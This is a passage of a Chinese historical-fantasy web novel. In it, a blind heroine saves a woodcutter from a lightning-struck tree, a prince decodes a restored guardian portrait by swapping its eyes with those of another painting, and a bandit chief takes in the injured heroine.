然实际上,接下来的若曦依旧跌跌撞撞着状况百出。时而踩空整个身子一抖,时而碰到大树心里一惊,时而滑入林间小溪边踉跄不止,时而双腿又实实地撞到岩石上现出一脸的痛楚……

可为了不成为别人的负累,让王二尽快平安下山去,面对中年樵夫的每次回首关怀,若曦都是强忍着身上的疼痛,笑着对其摇头道“我没事,赶快走吧!”

就在眼看着距离山下只剩下不到一半路程的时候,天空中的积云变得越来越厚,耳边的滚滚雷声亦骤然不断加剧,呼啸的山风夹杂着雨点亦突然开始肆意狂虐起来,打落在人身上让人觉得生生地疼,若曦忍不住轻轻抚摸了下自己吃痛的臂膀。

就在这时,空中突然炸出一道霹雳闪电,气势汹汹地直朝着中年樵夫身旁的一棵高大的松树劈了下来。

只见那松树的树皮瞬间被撕下了长长的一道,只留下光秃秃的半边树干。

其上面的树身被其拦腰折断断裂开来后,夹杂着火苗,冒着浓烈的一股黑烟,正好朝其头顶恶狠狠地砸了下来。

就在这千钧一发之际,也不知心乱如焚的若曦是忽然又恢复了光感,还是失明后的她耳力反而有所增强的缘故,只见她忽然顿足下来侧耳一静听,继而便一步上前用尽全身力气以迅雷不及掩耳之势,将因为心中只急着赶路对此却毫无察觉的中年樵夫一把大力地推了出去,倒在地上。

那中年樵夫忽然被人无端地向前推倒了那么大一截,尚还未来得及反应过来回过头去查看究竟发生了何事,只听到早已与自己脱离了开来的若曦发出了极大一声的警告“小心!”。

待他惊慌的回过头去,只见若曦整个人早已卷着那半截冒着黑烟又夹杂着火苗的树身一起从脚下陡峭的山坡上

滚落了下去,瞬间人和树都不见了踪影,只留下身后的一片狼藉。

那中年樵夫一时间里看着周围所发生的一切,竟被眼前的景象惊呆了。

不知栽倒在地,瞪着一双吃惊的眼睛朝着身边的所有一切凝视了多久,他摒住呼吸,似是周围的一切瞬间都已不存在,只觉耳边直嗡嗡作响。他不敢相信,此刻,竟是如此瘦弱的一个女子身躯挽救了他和王二的俩条性命。而就在刚才,即使此刻现在,他心里还依旧只当她是个有残缺的瞎子而已。

中年樵夫心情复杂地回想着今日里所发生的这一切,许久后,他愣愣地缓缓坐起身来,似是方才刚刚回过神来一般,继而连滚带爬地到了山坡边上,放眼急急寻觅着可以下坡去的路,而最终却发现这根本就是个无法踏足而下的陡坡。

于是,他又似是本能一般地惊慌失措地朝着若曦消失的山坡下连连失声惊叫起来道“姑娘,姑娘……”

此刻,中年樵夫无助地似是都快要哭了,而与其一起被救倒地着的王二更是眼看着这一切,一个七尺男儿,却早已趴在地上哭成了个泪人儿,两只拳头不停地狠狠砸着地面,口中喃喃不住重复自责道“都怪我,都是因为我才会发生这一切……”

就在这时,大雨已经开始哗啦哗啦地从空中飘了起来,打湿了中年樵夫黝黑的脸,被雨水浇灌醒来,他犹犹豫豫地再次看了看山坡下,又回头看了看趴在地上虚弱极了的王二。

眼看着天色也已经黑了下来,于是,一咬牙,心一横,他将一只粗糙的大手握紧成拳,狠狠地拍在身旁山坡边上的一棵大树上,重重地一声叹息道“唉!”,继而便赶忙起身来,踱步过去再次背起王二来,向山下疾奔而去。

此刻,城东秦王府。

轩辕翰在程良的劝慰和陪伴下,于夜幕刚降临,一场小雨亦淅淅沥沥正忙着落下的时候,也终于收拾好了心情赶回到王府之中。

刚一跨下马来,轩辕翰的心口间骤然而生似是刀绞一般的一阵疼痛感,他不禁顿足下来微微地蹙起了眉来,继而伸手一把重重地捂在了其结实的胸膛,不怒自威的一张冷峻脸上顿时露出一丝极为不适的表情来。

程良看见,忙上前去想要将其扶住,关切道“殿下,没事吧?”

“没事!”轩辕翰似是心里忽然感觉到了什么一般,急急伸手将其拦住,然嘴上虽然这样若无其事,云淡风轻地说着,心里却道“该不会是她……”

待其再次打起精神来,与程良一道迈步进入承华殿时,陆贤父子早已在殿内等候着。除此之外,还有帝特派来护送的宫里的俩个奴才随行贴身跟着。

一见轩辕翰进来,父子俩及那俩个宫人忙上前来朝其恭敬地行礼道:

“老夫参见秦王殿下,千岁,千岁,千千岁!”

“天麟参见秦王殿下,千岁,千岁,千千岁!”

“奴才参见秦王殿下,千岁,千岁,

千千岁!”

“都起来吧!“轩辕翰一边上前落座,一边对殿内众人冷声道。

“你怎么来了?手里拿的又是何物?”轩辕翰忽一抬眼,瞥见陆贤手里紧紧握着似是一副画轴的物件,问道。

陆贤随之双手将其高高举上至头顶,扬声故意道“老夫乃是奉吾皇之命,特地前来亲自送一幅画给秦王殿下。”

“送一副画给本王?本王今日早朝,怎么未在宫中听皇兄谈及?是什么画?程良,拿上来。”轩辕翰故作纳闷不解地道。

“是!”程良领命走到陆贤身旁将其接过,又回去恭敬地递到轩辕翰手中。

“这是?”岂料轩辕翰虽一见眼前的架势,便心里有了些数。然等打开来画轴一看,仍顿时不禁一双星眸朝其一怔,被里面的内容惊呆了。

这时,陆贤方才开口缓缓解释起来道“这是承蒙吾皇不弃,交于老夫花费了十七年的时间,于近日里终于将其修复好了的西秦守护者,若曦姑娘的画像。”

“守护者画像?西秦守护者代代均以守护西秦天子为己任,这与本王有何关联?你拿这个给本王看是何意?”轩辕翰冷冷地问。

陆贤随即一脸严肃地道“传吾皇口谕,秦王接旨。”

轩辕翰闻声,忙走下来与殿内所有人一起朝其跪拜道“吾皇万岁,万岁,万万岁!”

陆贤传旨道“西秦守护者遗失多年,甚是惋惜。甚致使我西秦国这些年来内忧外患,天灾**不断。故,寻回守护者乃是身为轩辕皇族人之大事,义不容辞。更为了西秦能够国泰民安,今朕着令秦王不遗余力,竭尽所能寻回失踪了的守护者,钦此!”

轩辕翰:“臣,谨遵圣旨!”

这时,陆天麟从身上掏出又一卷画轴来,将其交到父亲陆贤的手中。

陆贤随即语重心长地对轩辕翰道“殿下,小女深受王妃娘娘抬爱,在王府里陪伴娘娘已有些时日,老夫甚是想念。昨夜无聊,凭着记忆做了这副小女的画像,烦请殿下将此转交于小女,以寄其相思之苦,不甚感激。”

轩辕翰自是对此默不作声,程良忙上前来替其接下。

陆贤看了看窗外的天色,道“时候不早了,老夫还要回宫去向吾皇复命,就此告辞,还望殿下保重!”话一说完,那俩个宫人便如同跟班监视的一样,紧随于陆贤父子之后,四人一道踱步匆匆离去。

望着其远去的背影,轩辕翰一脸狐疑:如今的陆贤可不是如此儿女情长之人,况且陆天骄平日里与西秦学院的书信往来甚是频繁。

这次,陆天骄在秦王府也就只不过才小住了半月有余的样子,想以前太妃在世的时候,她即使在王府里住个大半年,陆贤也如同视而不见一般,今又怎至于如此。

眼睛一撇,忽见程良将案上摊开来的守护者画像卷起,手里拿着陆贤给陆天骄的画轴正欲离去,轩辕翰忙出声将其拦住道“等等……”

第二百五十六章:移花接木

轩辕翰正在纳闷间,眼睛一撇,忽见程良将案上摊开来的守护者画像卷起,手里拿着陆贤给陆天骄的画轴正欲离去,轩辕翰忙出声将其拦住道“等等,将你手中的那幅画给本王看看。”

“殿下,这幅画方才陆院长不是说是昨夜作给陆小姐的本人画像嘛,殿下…您要看?”程良闻声,朝其一脸的惊愕,只觉得自己是不是幻听了。

对于陆天骄,就算其真人精心打扮一番,或含情脉脉,小鸟依人,或抚媚地站在他这位主子的面前,亦不见得他曾正眼瞧她一下。可如今,他竟然要看她的画像。更何况,元宵之夜的惊天揭秘,至今都还历历在目,未曾散去。

就在其尚还处在真假难辨的思索之际,轩辕翰已亲自踱步到其身旁,伸手缓缓从其手中抽出了程良正紧紧攥着发愣的画轴来。

只见轩辕翰对着卷起的画轴怔了片刻后,幽幽道“陆贤,他可从来都不敢如此大胆,将陆天骄的画像让本王来替他转交。他之所以故意这样做,一定是想以此来引起本王对这幅画的注意。这幅画里...一定暗藏玄机。”

闻此,程良终于清醒了过来“原来如此,属下还以为殿下您对陆小姐……”

然话刚开口,便被轩辕翰瞬间一副冷厉极了的眼神将其所剩余的所有话都噎了回去。

轩辕翰兀自回到守护者画像所在的案几边上坐下来,将两幅画轴拿在手里,里里外外,仔仔细细地端详对此了许久,道”这么多年了,他终是不辱使命,找到了方法,完成了守护者画像的修复重任。但为何本王交待过他如此最重要的事,本王却在皇兄之后方才得知呢?”

“以陆贤的为人和对殿下的忠诚来看,他应该不会背叛殿下才对啊!”程良亦是不解地道。

“难道是...一定是西秦学院里也混入了宫里的耳目,他方才等不及禀报与本王商议,便已被皇兄捷足先登。”轩辕翰忽然想起凌晨偶遇梅志煊的事,不禁联想到。

这些年,他又怎会不知自己和秦王府一直都处在帝的暗地里严密监视中。他若是无缘无故私底下与梅志煊见面,那多疑的帝还不知道要闹出什么幺蛾子来。

程良闻声,惊呆了“那皇上让陆贤带给殿下的这幅守护者画像……”

不及程良将话问完,轩辕翰脱口便道“是让陆贤照着真迹重新临摹出来的一幅?”

此时,他的脑海中忽然浮起陆贤的话来,不禁喃喃重复道“昨夜无聊,凭着记忆做了这副画像,烦请殿下将其转交于小女……”

轩辕翰正在思索着,忽然匆匆将守护者画像和陆天骄的画像同时打开展了开来,铺在案上。

细细查看了一遍后,道“两幅画的墨迹都似是尚还未干透,的确是昨夜同时所作,应是无疑。”

程良亦凑在一旁看了后,怀疑道“皇上会不会逼陆贤在这幅所临摹的守护者画像上做了什么手脚?守护者的样貌其实是假的?”

“不会的,他既然下旨让本王不遗余力寻回守护者,就一定会给本王真正的守护者画像。”轩辕翰紧紧盯着陆天骄画像上的那张似是有些奇特的脸,肯定道。

稍作思量,却忽然炸了句“除非这两幅守护者画像,本身都是假的。”

“什么,都是假的?那就是说,守护者画像的修复重任,陆贤并未完成,那他岂不是欺君?”程良一时间瞪大了眼睛,惊讶道。

只见轩辕翰对程良此时口中所言的什么欺君之类的话完全不屑一顾,他一双深邃的眼眸始终都只自顾自一动不动地凝视着陆天骄画像上的世间难得罕见好看的一双凤眼,似是都要将自己的整个人都吸入到画中的眼睛里去了似的,让人入迷极了。

半晌后,他忽然愣愣地开口问道“程良,在你的记忆中,陆天骄,她可有一双世间罕见极了的凤眼?”

程良忽然被这么一问,不禁想起了几日前陆天骄到自己的院子里来寻他,请他派人护送梅汐媛前往城南城隍庙时的那莞尔一笑,再看看画像上的一双炯目,道“陆小姐的眼睛,好像不是这样的。人物画像里,眼睛可是一个人的灵魂。这陆贤莫非是老糊涂了,竟连自己的亲生女儿的眼睛是什么样亦都记不清了。”

轩辕翰听闻程良所言,惊讶地盯着他的脸,认真道“哦,不是这样的吗?”

“肯定不是这样的,属下觉得陆小姐的眼睛比较圆圆的,应是小圆眼。眼形圆圆的,睑裂高宽度短小,眼白露出少,眼球显小,其实天生倒是挺可爱稚嫩的一种眼形,可惜……”程良颇为认真地看着陆天骄的画像,对其摇了摇头,甚感惋惜道。

闻此,目光一直游离在两幅女子画像上的眼睛处的轩辕翰,似是瞬间彻底明白了过来,道“莫非是…‘移花接木’,程良,磨墨!”

“‘移花接木’…啊?殿下您这是要……”程良一边甚感纳闷不解地道,一边急急上前过去开始磨起墨来。

轩辕翰提起毛笔,一边急急在空白纸上临摹陆贤的画,一边似是心情难得的好地说着“本王知道为什么陆贤要说让本王转交此画了?他知道本王不会看任何女子的画像,除了守护者的以外。所以,他才故意叮嘱要让本王好好看看陆天骄的这幅画。刚才你说的很对,‘人物画像里,眼睛可是一个人的灵魂’。陆天骄画像里的这双眼睛,并不是她真正的眼睛,而是守护者的眼睛。本王听闻守护者甚美,‘手如柔荑,肤如凝脂,领如蝤蛴,齿如瓠犀,螓首蛾眉,巧笑倩兮,美目盼兮。’宛若一个落入凡尘的九天仙女一般。怎会还不及陆天骄的眼睛。反而,你看看守护者画像上的这双眼睛,那才是你方才所说的陆天骄的小圆眼。”

这番话,程良似是听得迷迷糊糊,只听懂最后一句,是说守护者画像上的眼睛才是小圆眼。随即放眼过去一看,不禁欣喜道“还真是耶!”

轩辕翰奋笔疾书着,继续道“所以,将陆天骄画像

上与其实际不符的一双世间罕见的好看的凤眼,替换掉守护者画像上的小圆眼,这…才是真正的守护者样貌。”

就在俩人说话间,由轩辕翰拼凑临摹而成的守护者脸部图已单独被其画了出来。

而这时,轩辕翰的眼睛顿时朝其怔着,似是惊呆了。然却并不是因为守护者终于被恢复了的美貌,让他惊异的究竟是什么,似乎就连他自己也说不清楚。

半晌后,只听他对身旁正一脸期待着的程良低声喃喃道“程良,你觉不觉得这个人有些眼熟?”

“是啊,属下也觉得的确有些眼熟,似乎是在哪里见过一样。”程良仔细看了许久,亦道。

“到底在哪里见过呢?”轩辕翰在心里默默地自问。

一时间,大殿里一室寂静,唯有欢快明亮的烛火从不停止摇曳的曼妙身姿,丝丝缕缕的香烟袅袅飘浮不断……

是夜,西秦皇宫里。

陆贤父子回宫一向帝复命之后,便急匆匆地出了宫门,直朝西秦学院返回去。

这时,大公公正急急迈步进入到寝宫里来,行礼后近身到帝的身旁向其禀告道“皇上,护送陆贤去秦王府的人回来说,陆贤除了宣旨,并无与秦王再多说些什么。只是…昨夜陆贤临摹完守护者画像后,同时亦作了一幅其女儿的画像,不想今日亦一同带至了秦王府让人转交给其女。”

“陆贤女儿的画像...可有检查过有什么不妥之处?”帝停下手中正欲入口的茶汤,疑心道。

“作画所用的材料都用的是宫里的,奴才亦曾亲自仔仔细细地翻来覆去检查过多次,并无发现有什么异样。”大公公见此,心中隐隐仍是有些怯怕,但依旧肯定地回道。

“怕是不只那么简单……无论如何,接下来的事至关重要,一定要派人将秦王府和西秦学院给朕盯好了。为防万一,寻回守护者,亦不能全靠秦王,另外还要再派一批精锐的死侍尽快去灵空寻找,一有什么风吹草动,立刻来报。”帝半眯着眼睛,露出一脸的严肃与决心道。

“可是,皇上您贵为西秦国当朝之真命天子,为何一定要将守护者寻回搁在眼前呢?据传,守护者非臣非贵族,不受朝廷管束,亦不拿朝廷俸禄,只要她存在于这个世界的某一个角落,便能与天子发生心灵感应,为其设法解除危难……”

岂料大公公的这句话尚未说完,便被帝一双寒光四射的眼眸盯地默默收住声,低下了头去,再也不敢多嘴。

片刻后,大公公再一次又小心翼翼地提醒道“皇上,依照规矩,守护者画像应由当朝皇后保管,以作不时之需。”

“让人临摹好后,便将原迹交给皇后吧!”帝默了半晌,道。

“遵旨!”

至此,大公公正欲退下,帝又忙补了一句道“还有,派人小心去查,那陆贤的女儿,她是否真的收到了其父亲的礼物,还是…那幅画…另有他情!”

第二百五十七章:医画医病难医她

“父亲,你确定殿下能发现守护者画像与妹妹画像被咱们‘移花接木’的秘密吗?”一出宫门便坐进西秦学院自己的马车内扬长而去的陆天麟,许久后见已远离了皇城的耳目,终于忍不住开口问道。

“天骄自小几乎是在秦王府里长大的,殿下一定会看出来的,放心吧。”陆贤一边闭目养神着,一边捋着胡须,自信满满地幽幽道。

“可若妹妹从小自大,根本就不曾真正入殿下的眼,那妹妹的眼睛,殿下又岂能发现其端倪?”陆天麟还是担忧极了道。

“天麟,你要知道,轩辕翰...他不是别人,他可是心思极其缜密的秦王。况且,天骄画像上的那双眼睛,乃世间罕见的好看,你就放心吧。不过,这次亏得你这副似是天生一般灵活稳定的手腕,难能可贵竟能耐下心来帮为父细致地按照画卷原本的经纬来填补色。尤其是画面中那些因破洞所造成的人物眼部关键部位的断笔,接笔做的甚是完美无瑕。这才方使得守护者画像终得以修复,天麟我儿,真的长大了!”陆贤说着,不禁将一手伸出搭在陆天麟的肩头,甚感欣慰的笑着对其称赞道。

“孩儿只是遵照父亲平日教导所说的‘画医就是医心,画心’,孩儿在接笔前,对守护者画像的作画之人的笔法先仔细研究,深入了解了许久,方才知道了其笔意的来龙去脉,修补时便就如同和作画者一起作这幅画一般,全身心投入,竭尽全力,细致细心地去做这件事而已。”陆天麟谦虚道。

闻此,陆贤不住地朝其满意极了的点着头。

忽然,陆天麟转念一脸忧心忡忡地轻叹了口气,道“父亲,如今皇上对秦王殿下的防范戒心,似乎越来越明显了,昨夜孩儿废了九牛二虎之力,好不容易才避开了皇上耳目的跟踪。”

闻此,陆贤脸上的笑容渐渐淡去,亦静静地转过了头端坐起,瞬时变作一脸严肃,沉默不语。

这时,陆天麟的脸似是更阴沉了几分,幽幽道“昨夜,孩儿在集市上瞎逛,碰到了妹妹,本想乘机神不知鬼不觉地正好交代她几句,可惜什么都还尚未来得及与她说,她便气呼呼地跑开了。”

“哦?果真有此事,这是为何?”陆贤顿时惊声问道。

陆天麟又叹了口气,一脸茫然无措地道“‘医画医病难医她’。父亲,其实妹妹对殿下,好像...至今都尚未曾放弃,她对殿下的心思,显然已经是到了一发不可收拾的魔怔地步。如今,又整日里跟那个东宁公主厮混在一起,不知道其究竟意欲何为?孩儿怕妹妹会……”

显然,陆天麟如今对这个执迷不悟的妹妹,已然是即担心又无可奈何。

姑娘长大了,心思自也是更深不可测,抓不住了。陆贤即使再对这个女儿平日里缺乏关心,陆天骄这点西秦学院里人尽皆知的心思他还是清楚的。

然作为过来人,他自是比很多人都更明白,这世上的许多事,尤其是男女

之间的事,若是强求,那便只会是让两个人一生都陷在痛不可言的悲苦之中。

于是,他默默地沉声说道“世间万事与万物,皆逃不过‘宿命’二字。是她的,终究是她的,不是她的,到头来皆是枉然。可惜,她天资聪慧,却始终都看不破这点。你母亲去的早,很多女儿家的心思,她不说,为父也不便问。再说了。秦王殿下,他又怎会是那种眷恋儿女之情的人,并不见得就是一个好女子的良配。”

在陆贤的心里,其实一直都更希望陆天骄做一个快乐幸福的普通女子,然奈何总是事与愿违,这个女儿的心思显然始终都挂在那个她不该惦记的人身上。

“父亲,殿下大婚的时候,妹妹曾说...殿下心中是有一个女子的?”闻此,陆天麟想着想着,忽然喃喃道。

“什么?真的?”陆贤听闻,心中倒确实是惊了一下,却并没有多问什么。

“父亲,难道您不想知道那个人是谁吗?”陆天麟随即放眼过去到其脸上,似是故意地道。

“听你这话的口气,似乎那个女子是为父所熟识的人?”陆贤这才缓缓睁开眼来,看着陆天麟的眼睛与其对视道。

陆天麟抿了抿嘴,继而一副郑重其事地架势对其说道“这个能让其唯以所肩负的天下黎民苍生为自己的全部,万年冰冷的秦王所上心的女子,她是...城西衣府衣药师家的...小姐。”

“是雪儿啊,那个孩子,的确是挺活泼可爱的,倒是可以与殿下的性子相补。多年不见,她应该已经长成大姑娘了吧!不过,没想到这衣药师如此一个走中庸之道的人,如今竟也胆敢和秦王走的这么近,为父倒是对这个着实更有些惊讶啊!”陆贤一张充满智慧的脸上,现出了那么一点点异样的眼光道,继而又兀自转过了头去,将眼睛再次闭起。

“不是雪儿,是...是衣府的那个废柴丑女。”陆天麟不知为何,忽然有些怯怯的将话一说完话,便将头沉沉地低了下去。

“什么?怎么会是她?”这次,陆贤终于大吃了一惊,顿时将目光急急睁了开来,兀自猛地挪到了陆天麟的侧脸上朝其一怔,惊呆了。

半晌后,陆天麟终于似是鼓起了勇气,亦看着父亲的眼睛认真说道“这是妹妹说的,看样子似乎不假。孩儿后来细细一想,殿下对那女子,似是有些非同寻常。不过,昨夜孩儿从宫中出来后,一摆脱那些宫里的耳目,便先去了一趟城西衣府,本欲去拜访衣药师向衣家大小姐当面致歉。岂料刚走到衣府门前的时候,听守门的人说,衣府大小姐往城南一行,已有多日未归,怕是凶多吉少了。衣药师已派了衣家公子亲自去城南寻找,至今都尚未归来。”

“怎么会这样?”陆贤顿时皱起眉头来,一脸不解道。

陆天麟有些黯然地摇了摇头,亦是不知其中原由,兀自继续说道“还有一事,孩儿从衣府门前听说此事后,正欲往皇城集市上看

热闹,路经衣府门前的一个茶馆时,听说了一个十分怪异的事情。”

“哦?是何事?”陆贤正陷入自己的思索中,闻声又忙问道。

陆天麟看着父亲的眼睛,认真道“茶馆里有很多人聚在一起在议论,说衣家大小姐昏迷一年后,在其醒来的那天夜里,衣府后院的空中,从天而降一道宛若一只七彩凤凰虚影的灼眼光芒,最后正好落入了衣大小姐的阁楼上。他们传说…说真正的衣家大小姐已经死了,现在的大小姐乃是被妖怪的魂魄附了体。”

闻此,陆贤一时间里竟被陆天麟的这番话惊的瞪大了眼睛,似是连话都说不出了一般。

“父亲,父亲”陆天麟见了,一声接着一声在其耳畔呼唤着吃惊怔愣住了的父亲。

“凤凰虚影…莫非是……”许久后,陆贤仍一副惊的怔愣着的眼神,愣愣地道。

“是什么?”陆天麟着急地问。

只见陆贤急急用手指一边忙掐算着,一边道“莫非她就是那个失踪了多年的守护者遗孤。可是...这怎么会呢?她明明就是衣上坤正室所生的唯一子嗣啊,又怎么会是……衣上坤的这个孩子,据说因为打出生以来就存在于其脸上的惊人胎记,一向都是遮着面纱示人的,故此,从未有人见过其真正相貌。没想到,这些年,我们竟忽略了就近在身边的她……”

“什么?这怎么可能?”陆天麟亦大惊失色道。

“相传代代守护者的肩部都有一凤凰印记,乃是受到凤凰庇护之象征,方得以世世代代,生生不息。凤凰虚影现世之处,便是其认主之时。”

“这...这...这不会弄错吧?可是守护者画像上的女子美若天仙,脸上又怎么会……”陆天麟闻此,整个人都似是惊呆了。

“胎记?或许这便只有衣药师自己知道是怎么回事了?这个老东西,这么多年了,竟然隐藏的如此之深。为今之计,只有确定那衣家大小姐的身上是否有此凤凰印记,只要确认了这点,便算是完成了殿下对为父此生最大的所托。”这么多年了,陆贤一直闷闷着的心似是终于快要得以释怀。

一念至此,他忙交代陆天麟道“事不宜迟,等到了城南之后,你便赶快下车去寻失踪了的衣大小姐,想办法验明其正身。到时候,为父再想办法与殿下联系...还有一事,学院里的那个细作,先不要打草惊蛇,为父倒是想看看,他究竟想要做什么?这个人,有没有查过当初是怎么进到来学院里来的?”

“是……是太妃去世的那年,妹妹带回学院的,说是半路途中遇到的无家可归的可怜流浪汉。后来,便安排在学院里做些修剪花花草草的粗活。”陆天麟低声怯怯地道。

“太妃去世的那年,都已经这么多年了!难怪皇上会对殿下的防范之心越来越严密。天骄带回的……”陆贤幽幽地说着,一双深邃的眼睛一动不动地盯视着前方,变得越来越让人琢磨不透……

第二百五十八章:误入骁龙会

空山新雨后,天气晚来舒。明月松间照,清泉石上流。

寂静的夜半时分,黑漆漆的深山老林里,一场如油珍贵的春雨过后,万物皆开始疯狂地猛长起来。

夜里的空气,亦变得异常清新,让人心里不禁感觉难得的清澈明朗与凡尘不染。然周围如此静悄悄的一切,又似是静的那般可怕。

这时,从高山上坠落山坡而下,昏迷了已有大半天的若曦,经过了一场大雨的浇灌之后,正蜷缩起的小身子微微动了动,终于缓缓醒来。

迷迷糊糊的意识中,却似乎听到了一片寂静的周围里,耳边只传来“噼里啪啦”似是一堆篝火正在熊熊燃烧的声音。

眼睛试着慢慢睁开来,这才发现原本似是极其微弱的光感又重新恢复了。侧脸过去一探,没错,那发出“噼里啪啦”阵阵声响出来的,正是一团火光。

于是,她隐忍着浑身的伤痛,挣扎着缓缓坐起身来。

突然,耳畔传来似是就在身旁的一阵极富磁性,浑厚的中年男子声音道“醒啦!”

她不禁顿时被这声音吓了一跳,心里咯噔一下,同时就连其瘦弱单薄的身子亦忍不住抖动了一下,又惊愣了片刻,方才似是本能一般地将身子赶忙蜷缩起,不明所以,小心翼翼地朝着与其声音相背的方向远离退后了去。

显然,这个人的声音对她来说,是完全陌生的,不知其是善还是恶?于是,她紧紧抱着双膝缩在一个角落里,怯怯地开口问“你是什么人?我们这是在哪儿?”

只见一身着一袭黑色披风,墨发半束,气度从容,一只手抱着一坛女儿红正大口畅饮,另一手则握着一根干树枝在挑拨横在俩人之间的那堆篝火,以使其能燃烧地更旺,散发再多一些温热,双腿盘坐在若曦对面的中年男子,这时方才抬起头来朝着周边里四处打量了一番,吸了口气,最后沉声说道“这是一个...尚还算是可以遮风避雨的山洞。至于我嘛…恰巧途径此地,你唤我龙大哥好了。”

“山洞?龙大哥?...是你救了我?”若曦眉头微蹙,似是至此方才缓缓回忆起了午后在山里所发生的一切,侧耳对着其惊问道。

然那中年男子闻声,却骤然哼笑了一声,只自顾自地对其有些惊诧地道“你这个丫头,命倒是很硬嘛!从几十米那么高的山坡上,和遭到雷击又起了火的松树纠缠在一起滚落下来,竟然只是受了些极其轻微的皮外之伤。这世上,恐怕是再没有第二个能和你这般如此幸运的人了!不过,若不是因为这场大雨及时将那棵树上所燃烧的大火浇灭,那就不知道你还有没有这样幸运了。...对了,你又叫什么名字?”

这话一出,听着男子言语里所流露出的爽朗温和又似是带着有些桀骜不驯的语气,若曦心里突然间似乎变得没有像刚开始那样对他有防备之心了。于是,缓缓放松了那抱在膝前的胳膊,暗自

想了想,对其柔声致谢道“多谢恩人的救命之恩,恩人可唤我作...若曦。”

“若曦‘’中年男子闻声,又灌下一大口酒,继而低声默默地重复了一句道。

一抬头,忽撇见了外面的一片明亮月色,一转念,中年男子又问“若曦姑娘,你家住在何处?等天一亮,我便送你回去,还是...你自己回去呢?这座山林此起彼伏,绵延不断,你该不会迷路吧?”

闻此,不知为何,若曦脑海里一时间顿时一片空白,似是还有些隐隐地脑袋胀痛感油然而生,便有些黯然木讷地吞吞吐吐喃喃道“家在何处...家...龙大哥,实不相瞒,其实,若曦因为经历了一些事情,如今不仅失明...而且还失忆了,所以才会不慎从山坡上滑落下来。也不知道,王二和那位大叔他们怎么样了……”

闻此,那中年男子顿时将一双深沉极了的眼睛向其怔愣着看了过来,似是惊呆了似的暗自沉声喃喃道“怎么会是这样?”

若曦抿了抿嘴,继续道“原本,若曦被一村里的老妇人所救,寄居在她的家中,刚醒来的时候,听她说过一次,是叫什么村来着?...可是这会儿,若曦是真的一点儿都记不起来了。…哦,对了,她家还有个叫做欢儿的小女子,她们俩似是相依为命的主仆俩人。”

“如此说来,那你就只能先跟我回去了。这座深山老林里,平时很少有人经过,是个很危险的地方,野兽也时常会出没。待我回去,多派些人去附近的村落里打探清楚,到底是谁家收留的你,再将你送回去,可好?”中年男子想了想建议说道。

若曦虽未言明答应跟他回去,却也是如今像无根浮萍一般随处漂流,走投无路又无可奈何地一种默认。她总不能就这样形单影只地孤身留在这座深山老林里坐以待毙,等着给那些凶残的豺狼野兽打牙祭吧。

于是,俩个人就这样围着一堆篝火慢慢熟络了起来,在这个深山老林中破烂不堪的山洞里挨过了一个漫漫长夜之后,第二天天色刚微微亮的时候,中年男子便将若曦架在自己的马背上,将其拥在怀里,俩人一起策马离开了山洞,穿梭进一片云雾缭绕,树木连绵不断的山林之中。

约摸赶了一个多时辰的路程终于出了山林,中年男子兀自带着若曦一直向南行进,淌过了一条潺潺的小河,继而又穿越了一片绿树成荫的密密树林,便到了一山脚下,若曦方才感觉一直疾驰着的马步似是缓缓减慢了下来。

继而,前方隐隐现出了一道似是有人驻守着的气势雄伟的石门来,石门上悬挂着一标识着“骁龙会”三个气势滂沱的金色大字匾额。

骁龙会傍山而立,规模看起来相当之大。石门两侧则各自高高耸立着一面黑底红边的四方形旗帜,那旗帜中心绣着一条威风凛凛似是欲要腾空而起的金色巨龙。

守门的守卫远远地一看清来人,便有俩

人忙将大门大敞了开来,待其一进入门来,又忙将门紧紧关起。

这时,便有一手下疾步上前来,将中年男子的马儿替其稳稳地牵住,众人待其一跨下马来,便朝着拱手齐声道“参见帮主!”

“帮主?”闻声,尚还在马背上的若曦心里突然间抽搐了一下,停顿住。

接着,只听到那中年男子对上前来牵马的手下仔细吩咐道“将这位姑娘带下去好生安置,再多派些人往周边的各个村落里去仔细查查,看谁家丢了这个姑娘。”

“属下领命。”

直到驻足亲眼看着,待其手下将若曦连同马儿一起带往到后面一排的院落里拐了进去,消失不见,中年男子似是方才安心了下来,便急急踱步向着东院里的骁龙堂正厅里走去。

岂料刚迈开步来没几步,便见又俩个手下捆着俩个女子,头上遮着黑布套,押着亦往后院里偷偷摸摸地急急奔去,那俩个女子似是还被堵了嘴巴,拼命地在其手中咿咿呀呀地喊着挣扎着。

“这两个女子是怎么回事?”中年男子见了,毫不犹豫地径自踱步过去将其拦住,问道。

“参见帮主,方才兄弟们在后山巡山下山的时候,在河边发现了这俩个妞看起来不错,副帮主让咱们将她带过去他屋里伺候……”俩人立刻止步住朝其行礼,其中一个黑脸壮汉一脸惶惶不安,怯怯地朝其禀报道。

“放开她们!”中年男子听了,顿时一脸阴沉地朝其命令道。

岂料那黑脸壮汉却仍一副犹犹豫豫,似是一脸难色地朝其支支吾吾道“帮主,可是副帮主他……”

“啪”怎料其尚未及将剩余的话说完,重重的一巴掌便稳稳地拍在了黑脸壮汉的脸上。

顿时间他捂着半张脸,就连整个人都在原地里打转了好几圈方才停了下来,继而俩人忙扑通一声地跪地求饶道“帮主饶命,帮主饶命,小的这就放人,这就放人。”

霎时间,俩个妙龄女子身上的绳子迅速地被松了开来,嘴巴亦恢复得了自由,套在头上的黑布套亦被人摘掉,中年男子这才双手负后,板着脸一脸严肃的问那俩女子道“你们俩个姑娘家,怎么会来如此偏僻的地方,你们是从哪儿来的?又来这里做什么?”

中年男子话音刚落,岂料俩个女子之中年龄似是比另一女子稍大一些的看起来已有了些世俗经验的女子瞪着眼睛,狠狠地朝着中年男子啐了一口,又忿忿道“土匪,强盗……”

“土匪,强盗……”中年男子饶有兴趣地跟着其重复了一句道。

继而,又面带微笑着缓缓踱步围绕着俩个女子的周身转了一圈,最后背对着她们,厉声狠狠道“你们想见识一下什么才是真正的土匪,强盗吗?”

这时,旁边另一年龄小些的女子不知是因为害怕还是什么,忽然失声大哭了起来,一边抹泪,一边哽咽着道……

第二百五十九章:大叔,我们没见过吧?!

“土匪,强盗……”中年男子饶有兴趣地跟着其重复了一句道。

继而,又面带微笑着缓缓踱步围绕着俩个女子的周身转了一圈,最后背对着她们,厉声狠狠道“你们想见识一下什么才是真正的土匪,强盗吗?”

